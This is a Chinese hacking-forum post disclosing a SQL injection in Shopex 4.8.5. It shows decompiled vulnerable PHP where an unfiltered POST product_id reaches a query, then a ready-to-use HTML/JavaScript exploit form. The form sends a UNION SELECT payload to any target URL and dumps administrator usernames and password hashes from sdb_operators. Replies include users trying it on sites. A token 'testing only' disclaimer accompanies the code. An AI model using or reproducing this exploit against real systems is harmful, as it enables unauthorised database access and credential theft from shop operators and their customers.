Shopex 4.8.5 SQL Injection 注射注射注射~
大牛们 你们还在犹豫神马? 赶紧发帖啊.... 你们不发 那只好我来破这个处了
正好这两天电信抽风所以就抽空读了下
漏洞核心函数 \core\model_v5\trading\mdl.goods.php 由于是zend解密出来的 具体行数就不贴了
function getproducts( $gid, $pid = 0 ) //注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入
{
$sqlWhere = "";
if ( 0 < $pid )
{
$sqlWhere = " AND A.product_id = ".$pid; //没过滤 ~~~~~~ fuck之
}
$sql = "SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=".intval( $gid ).$sqlWhere;
return $this->db->select( $sql );
} function gnotify($goods_id=0,$product_id=0){
//print_r($_POST);
//exit;
if($_POST['goods']['goods_id']){
$goods_id = $_POST['goods']['goods_id'];
$product_id = $_POST['goods']['product_id']; //POST没初始化也没过滤
}
$this->id =$goods_id;
$objGoods = &$this->system->loadModel('trading/goods');
//echo $goods_id." - ".$product_id;
//exit;
$aProduct = $objGoods->getProducts($goods_id, $product_id); //直接带进去了 还解释么??
$this->pagedata['goods'] = $aProduct[0];
if($this->member[member_id]){
$objMember = &$this->system->loadModel('member/member');
$aMemInfo = $objMember->getFieldById($this->member[member_id], array('email'));
$this->pagedata['member'] = $aMemInfo;
}
$this->output();
}<script language="javascript">
function expstart() {
var url = document.forms[0].url.value;
if(url != ""){
if(url.search("http://") < 0 && url.search("https://") < 0){
url = "http://" + url;
}
document.submit_url.action = url + "/?product-gnotify";
}else{
alert("Hello Hacker!!!");
}
}
</script>
<html>
<head>
<title>Shopex 4.8.5 SQL Injection Exp [T00ls]</title>
</head>
<body>
<h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2>
<form action="" method="post" name="submit_url">
<input type="hidden" name="goods[goods_id]" value="3">
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24,0x20203C7370616E207374796C653D22636F6C6F723A20236666303030303B223E5430306C732E4E657420476F21476F21476F213C2F7370616E3E),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
<br><span style="color: #ff0000;">Site: </span><input type="text" name="url" value="http://127.0.0.1/shopex/"><br><br>
<input type="submit" value="Forum : T00ls.net By Rices
本程序只能用于网站安全检测
禁止用于非法途径,产生的一切后果与作者无关!">
</form><br>
<span style="color: #ff0000;">Time: 2012.06.18 Code: Rices</span>
<body>
</html>
关于作者
评论63次
牛.gif)
怎么感觉成伸手党了。。。
给力.我测试了一个没成功.不知道是版本问题还是.等下再测试.刚回来.之前安全提问搞忘记了！
靠，怎么回事？我进出几次居然都没有人占沙发？
Rice大牛果然牛逼，速度试试，看看效果